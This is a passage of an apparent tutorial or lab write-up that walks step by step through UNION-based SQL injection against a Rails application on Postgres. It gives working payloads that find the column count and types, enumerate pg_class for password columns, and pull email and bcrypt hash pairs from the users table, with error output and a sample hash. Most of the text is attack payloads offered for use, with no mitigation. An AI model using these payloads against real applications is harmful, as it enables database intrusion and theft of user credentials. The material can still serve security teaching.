MARKER %') ERROR
Returns error page with (if stack trace is enabled):
PG::SyntaxError: ERROR: syntax error at or near "ERROR"
LINE 1: ...osts".* FROM "posts" WHERE (body LIKE '%MARKER %') ERROR%')
^
: SELECT "posts".* FROM "posts" WHERE (body LIKE '%MARKER %') ERROR%')
So you know that the original query you have to build upon is:
SELECT "posts".* FROM "posts" WHERE (body LIKE '%
You also know that server works on Postgres.
Querying this:
%') UNION ALL SELECT null FROM posts--
You will get this error:
PG::SyntaxError: ERROR: each UNION query must have the same number of columns
LINE 1: ... "posts" WHERE (body LIKE '%%') UNION ALL SELECT null FROM ...
^
: SELECT "posts".* FROM "posts" WHERE (body LIKE '%%') UNION ALL SELECT null FROM posts--%')
Querying null works best here, because PG doesn't cast type conversion on type null, so you won't get type error. Keep adding nulls until you get different error. E.g. query:
%') UNION ALL SELECT null, null, null, null, null FROM posts--
Returns in my case Rails view error:
undefined method `email' for nil:NilClass
So now I know that table posts has 5 columns. Let's guess their types.
Use query like this one:
%') UNION ALL SELECT 1,1,1,1,1 FROM posts--
You will get this error:
PG::DatatypeMismatch: ERROR: UNION types character varying and integer cannot be matched
LINE 1: ...posts" WHERE (body LIKE '%%') UNION ALL SELECT 1,1,1,1,1 FR...
^
: SELECT "posts".* FROM "posts" WHERE (body LIKE '%%') UNION ALL SELECT 1,1,1,1,1 FROM posts--%')
In LINE 1 you are being told where precisely the types are incongruent. You know now that first column is type integer so most probably this will be id. Let's try to guess type of column no 2:
%') UNION ALL SELECT id, '1',1,1,1 FROM posts--
And we get this:
PG::DatatypeMismatch: ERROR: UNION types timestamp without time zone and integer cannot be matched
LINE 1: ... WHERE (body LIKE '%%') UNION ALL SELECT id, '1',1,1,1 FROM...
^
: SELECT "posts".* FROM "posts" WHERE (body LIKE '%%') UNION ALL SELECT id, '1',1,1,1 FROM posts--%')
This error gives us three pieces of information:
- column no 1 is id
- column no 2 is type string
- column no 3 is type time
Because you know Rails, you figure out this query now:
%') UNION ALL SELECT id, body, created_at, updated_at, 1 FROM posts--
(Instead of railsy created_at and updated_at which return DateTime, you can put any string representing this type (e.g. 2015-06-26 16:51:41.447885) or just PG function NOW().)
Oops, a not-all-too-informative Rails view error appears:
# undefined method email' for nil:NilClass
- @posts.each do |post|
.post
%strong= post.user.email
Think... Ok, for some row user can't be found thus Rails returns nil. Most probably because you didn't pass user_id dynamically. Let's try this query:
%') UNION ALL SELECT id, body, created_at, updated_at, user_id FROM posts--
It works! Page renders each post twice. Now you can freely fiddle with the devised SELECT statement.
If you are an SQL novice just as I am, use this great resource. It helps you to come up with this query:
%') UNION ALL SELECT id,
(body
|| (
SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE '%public%') AND attname LIKE '%password%'
))
, created_at, updated_at, user_id FROM posts; --
The A || B returns concatenation AB (you've learned by now it's necessary to avoid some errors). This query gives you table names that contain columns LIKE '%password%'. In my case, the result is (fragment):
test postusers
Now you know the passwords are stored in table users.
This can vary, e.g. password, password_digest, pwd, passwd, pass, password_hash etc., or even something completely random. One way or another, you'll need a lot of luck to guess it manually. Let's find it programatically by going over the columns in table users. You know how to do it thanks to the resource linked under point 5. You build this query:
%') UNION ALL SELECT id, (body ||
(
(SELECT relname || A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
LIMIT 1)
))
, created_at, updated_at, user_id FROM posts; --
It gives you this:
test postschema_migrationsversion
This is concatenated relname || A.attname. Let's offset until we find something interesting:
%') UNION ALL SELECT id, (body ||
(
(SELECT relname || A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
LIMIT 1
OFFSET 3)
))
, created_at, updated_at, user_id FROM posts; --
It gives you
test postusersencrypted_password
The column you are looking for is entitled encrypted_password.
If you've read all the things described above, it's easy-peasy. Let's try this:
%') UNION SELECT ALL id, CONCAT(body, (
SELECT email || encrypted_password FROM users
LIMIT 1
)), created_at, updated_at, user_id FROM posts--
It gives you the hash:
test postuser-1@testsqlinjection.com$2a$10$OZiEYuQ54JBnC1LRLK.VZeFEYzso4gq.2knbVkt84co6ctUBH2zAC
To find more hashes, just offset:
%') UNION SELECT ALL id, CONCAT(body, (
SELECT email || encrypted_password FROM users
LIMIT 1
OFFSET 1
)), created_at, updated_at, user_id FROM posts--
This gives you next email-hash pair. Gratz! :)